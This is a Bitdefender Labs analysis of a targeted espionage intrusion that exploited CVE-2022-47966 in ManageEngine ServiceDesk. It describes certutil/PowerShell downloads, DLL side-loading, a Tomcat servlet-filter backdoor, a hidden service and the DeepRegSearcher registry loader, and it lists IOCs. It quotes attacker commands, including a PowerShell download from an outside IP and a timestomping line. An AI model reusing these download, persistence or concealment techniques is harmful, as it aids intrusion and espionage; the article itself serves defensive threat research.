Weaponizing POCs – a Targeted Attack Using CVE-2022-47966

Known-yet-unpatched vulnerabilities have always represented a key entry point to modern business networks. Average mean time to patch cycles range from 60 to 150 days – long enough for cybercriminal groups or initial access brokers to gain a foothold in the network and wreak havoc.

Often, weaponized proof of concept exploitation code emerges around the same time as a vulnerability disclosure, seriously helping cybercrime groups add the technique to their toolkit. This is the case with the publication of a proof-of-concept for CVE-2022-47966 on 2023-01-19, which was immediately followed by a sharp rise in attacks against Internet-facing instances of ManageEngine products.

Bitdefender cyber security experts constantly monitor for real-life explotation of such vulnerabilities to prevent or minimize impact on companies. Regarding this particular CVE, a technical advisory was released that includes details about the IOCs spotted in the wild.

One incident regarding the abuse of CVE-2022-47966 in ManageEngine ServiceDesk software, which Bitdefender Labs was investigating, is particularly interesting, as it shows signs of a targeted operation. As this vulnerability lets an attacker execute remote code on unpatched servers, it can be used to install tools and malware associated with espionage.

Based on our analysis, 2,000 to 4,000 servers accessible from Internet are running one of the vulnerable products. Not all servers are exploitable with the current Proof of Concept code, as SAML needs to be configured, but we urge all businesses running these vulnerable versions to patch immediately.

Judging from the threat actor’s stealthy modus operandi and the victim’s domain activity, we believe that the purpose of the attack is espionage.

Key findings

Infection vector is CVE-2022-47966 – a RCE vulnerability in ManageEngine software:

• Attackers attempted to download tools using built-in utilities such as powershell.exe, bitsadmin.exe and certutil.exe
• Based on identified artifacts and file names of the downloaded files, it looks like the attackers intended to use side-loading for their malicious payload
• Stealthy persistence with a Windows service and a Servlet Filter for Tomcat webserver (part of the ServiceDesk software) were used

Downloading attempts

The first signs of activity, as extracted from forensics artefacts, were the execution of commands for downloading binaries via the RCE in ManageEngine:

Command lines:

As can be seen, apart from the plain executables, attackers tried to download encoded variants of the same resources. Based on the recovered command lines of the certutil.exe utility, we were able to determine that “.txt” and “.pfx” are in fact base64 and hexadecimal-encoded and the “-decode” and “-decodehex” parameters of certutil.exe were used for their decoding.

Following the trace of command lines, multiple renaming of the tools occurred:

None of the resources referred by the URLs could be downloaded as the server was down at the moment of analysis. However, the artefacts from the affected system suggest that the notepad.exe is in fact a version of windbg.exe (“6.12.0002.633 (debuggers(dbg).100201-1211)”) which side-loads msftedit.dll.

Based on the URLs, we infer that another side-loading pair of binaries, part of the attackers’ arsenal, is K7AVWScn.exe and K7AVWScn.dll.

Malware setup and persistence

Once the attackers established a foothold in the victim’s network, they proceeded to set up persistence.

A malicious jar file containing a Servlet Filter class for tomcat was downloaded with powershell iwr -uri http://45.154.14[.]194:443/MainFilterInitializer.jar -outfile ../lib/tomcat/MainFilterInitializer.jar, resulting in MainFilterInitializer.jar (sha256: 19eac6f39226bf9e63fa6fbd8b1cd4cbe5ecb43d0d0d052736f5e892b6234674) being dropped. The selected location ensures that tomcat automatically loads the malicious filter.

Analysis of the class files showed that it’s a build of Tomcat-backdoor that can be used to execute commands by making http requests with a special parameter set.

The file attributes of the malicious jar were changed to avoid raising suspicion when inspecting that location – “powershell.exe -exec bypass -Command "(ls MainFilterInitializer.jar).LastCreatTimeUtc='2022-02-22 08:32:44'” – and the timestamp was selected to match the value of attributes of files from the same directory - cmd /c dir /a ../lib/tomcat/ > ..\\webapps\\root\\infos.txt.

More activity followed, as attackers brought another tool onto the system - C:\Windows\twin_64.dll – a malicious loader we call - DeepRegSearcher.

Multiple resources were downloaded, including http://45.154.14[.]194:443/time.bat and http://45.154.14[.]194:443/Import.reg. Then, a service was set up to load the DeepRegSearcher and the payload was written into the registry by importing the downloaded reg file:

A reinstall of the malicious loader occurred a while later, with a download from a different web server:

• http://149.28.57[.]130:443/Import.reg
• http://149.28.57[.]130:443/time.bat
• http://149.28.57[.]130:443/bdredline

This time, the malicious DeepRegSearcher was dropped as C:\Windows\System32\svchosts.dll but the corresponding service was set up in a similar manner:

Worth mentioning is that attackers manually set the service permissions with SDDL syntax in order to prevent it from being listed by tools like sc.exe, services.exe. It still can be seen in the registry, but the name of the service should be known in advance. The name and location of the DLL files make the malicious component less likely to arouse suspicions.

DeepRegSearcher

The malicious loader at C:\Windows\System32\svchosts.dll and C:\Windows\twin_64.dll has the sha256 c49d92f2b88e979bea6be4eb05a0ce564aeb13177d18bf9221c017706ba5188c. Its export name is SvcLdr64.dll and it exports the SvcEntry function that will be called by the svchost.exe process.

Once DeepRegSearcher is loaded and SvcEntry function called, it starts recursively enumerating the registry keys and values under the HKEY_CLASSES_ROOT to find the key that has the value {17FA1529-3339-4355-BDA3-ABB9A84CCB1A} of type REG_BINARY. If such a key is found, the loader proceeds with enumerating the values of the key to find the REG_BINARY value sized bigger than 0x2800.
The right value data is expected to be compressed with bzip2, and the result after the decompression should be a PE executable. If these conditions are met, the PE executable is loaded in memory, the address of exported function “PluginEntry” is identified, and the respective function is called, resulting in the successful loading of the payload.

Another interesting detail of the loader is that it tries to obtain the addresses of winapi functions dynamically using LoadLibraryA and GetProcAddress, the names of functions being kept as base64 strings encoded using a custom implementation that is equivalent with the base64 encoding using the charset CDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/AB.
Although we couldn’t obtain import.reg file and the payload, we established that the malicious process communicated with the IP address 78.141.247[.]105:443. Moreover, because of the attempt at reinstalling the malicious component, attackers deleted the registry key HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2\2\0\0\{2db2f0b9-7db6-4e89-9e1d-3df2001fe9b4} that probably contained the malicious payload.

Conclusions

Unpatched vulnerabilities are responsible for as much as one-third of breaches. Vulnerability patching is an essential part of maintaining systems secure and protecting businesses from the consequences of cyber-attacks. Many industries and government regulations require companies to maintain secure systems and networks. Failing to patch known vulnerabilities can result in non-compliance, which can lead to legal and financial penalties.

IOCs

45.154.14[.]194
149.28.57[.]130
78.141.247[.]105

c49d92f2b88e979bea6be4eb05a0ce564aeb13177d18bf9221c017706ba5188c
19eac6f39226bf9e63fa6fbd8b1cd4cbe5ecb43d0d0d052736f5e892b6234674

C:\Windows\System32\svchosts.dll
C:\Windows\System32\server64.dll
C:\Windows\twin_64.dll
C:\Program Files\ManageEngine\ServiceDesk\lib\tomcat\MainFilterInitializer.jar